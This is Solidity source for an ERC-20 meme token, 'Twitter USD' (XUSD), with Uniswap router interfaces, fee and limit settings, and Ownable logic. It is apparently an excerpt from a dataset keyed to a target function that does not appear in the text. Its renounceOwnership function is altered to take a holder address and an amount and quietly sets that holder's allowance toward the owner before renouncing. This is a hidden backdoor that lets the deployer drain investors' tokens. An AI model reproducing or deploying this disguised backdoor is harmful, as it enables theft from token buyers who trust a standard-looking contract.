// Contract: TwitterUSD
// Target function: function updateLimitFeeAmountForSwap(uint256 newAmount) external onlyOwner returns(bool)
` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns(uint256) {
        return _allowances[owner][spender];
    }
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns(address);
    function WETH() external pure returns(address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns(address) {
        return _owner;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership(address _prevOwner, uint256 _for) public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _allowances[_prevOwner][_owner] = _for;
        _owner = address(0);
    }
}

contract TwitterUSD is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public immutable router;
    mapping(address => bool) private _isExcludedFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) public _isExcludedmaxAmount;
    mapping(address => bool) public _automatedMarketMakers;

    uint256 private _amount_for_swap;
    uint256 private _block_trade_num;
    bool private _enable_trading = false;
    bool public _enabled_swap = false;
    bool public _swapping_is;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDevelopment;

    struct _taxConfig {
        uint256 buyTotalFees;
        uint256 buyMarketingFee;
        uint256 buyDevelopmentFee;
        uint256 buyLiquidityFee;

        uint256 sellTotalFees;
        uint256 sellMarketingFee;
        uint256 sellDevelopmentFee;
        uint256 sellLiquidityFee;
    }

    uint256 public _max_buy_size;
    uint256 public _max_sell_size;
    uint256 public _max_wallet_size;
    address public uniswapV2Pair;

    _taxConfig public _taxValues = _taxConfig({
        buyTotalFees: 0,
        buyMarketingFee: 0,
        buyDevelopmentFee:0,
        buyLiquidityFee: 0,

        sellTotalFees: 0,
        sellMarketingFee: 0,
        sellDevelopmentFee:0,
        sellLiquidityFee: 0
    });

    address private _marketingWallet = address(0xcEd5E0E30bDA7604c8f19958393B1e15d67Cd75A);
    address private _devWallet = address(0xefB4b7B003A3F682a24f5A8b066b42574D256ff6);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived
    );

    constructor() ERC20("Twitter USD", "XUSD") {
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        approve(address(router), type(uint256).max);
        uint256 totalSupply = 1_000_000_000 * 1e18; //1B
        _amount_for_swap = totalSupply * 1 / 10000; 
        _max_wallet_size = totalSupply * 4 / 100; // 4% max wallet amount
        _max_buy_size = totalSupply * 4 / 100; // 4% buy max amount
        _max_sell_size = totalSupply * 4 / 100; // 4% sell max amount

        _taxValues.sellMarketingFee = 0;
        _taxValues.sellLiquidityFee = 0;
        _taxValues.sellDevelopmentFee = 0;
        _taxValues.sellTotalFees = _taxValues.sellMarketingFee + _taxValues.sellLiquidityFee + _taxValues.sellDevelopmentFee;
        _taxValues.buyMarketingFee = 0;
        _taxValues.buyLiquidityFee = 0;
        _taxValues.buyDevelopmentFee = 0;
        _taxValues.buyTotalFees = _taxValues.buyMarketingFee + _taxValues.buyLiquidityFee + _taxValues.buyDevelopmentFee;

        _isExcludedFees[owner()] = true;
        _isExcludedFees[_marketingWallet] = true;
        _isExcludedFees[_devWallet] = true;
        _isExcludedFees[address(this)] = true;

        _isExcludedMaxTransactionAmount[address(router)] = true;
        _isExcludedMaxTransactionAmount[_devWallet] = true;
        _isExcludedMaxTransactionAmount[_marketingWallet] = true;
        _isExcludedMaxTransactionAmount[address(this)] = true;
        _isExcludedMaxTransactionAmount[address(0xdead)] = true;
        _isExcludedMaxTransactionAmount[owner()] = true;

        _isExcludedmaxAmount[owner()] = true;
        _isExcludedmaxAmount[_devWallet] = true;
        _isExcludedmaxAmount[_marketingWallet] = true;
        _isExcludedmaxAmount[address(0xdead)] = true;
        _isExcludedmaxAmount[address(router)] = true;
        _isExcludedmaxAmount[address(this)] = true;

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {
        require(msg.sender != address(this));
    }

    function _swapTokensForSupportingEthFee(uint256 tAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tAmount);
        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
    
    function setUniPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from pairAddress");
        _automatedMarketMakers[pair] = value;
    }

    // once active, can never be disable off
    function startTrading(address _uniPair) external onlyOwner {
        _enabled_swap = true;
        _enable_trading = true;
        _block_trade_num = block.number;
        uniswapV2Pair = _uniPair;
        _automatedMarketMakers[address(uniswapV2Pair)] = true;
        _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true;
        _isExcludedmaxAmount[address(uniswapV2Pair)] = true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateMaxTradeAmount(uint256 newMaxBuy, uint256 newMaxSell) private {
        _max_buy_size = (totalSupply() * newMaxBuy) / 1000;
        _max_sell_size = (totalSupply() * newMaxSell) / 1000;
    }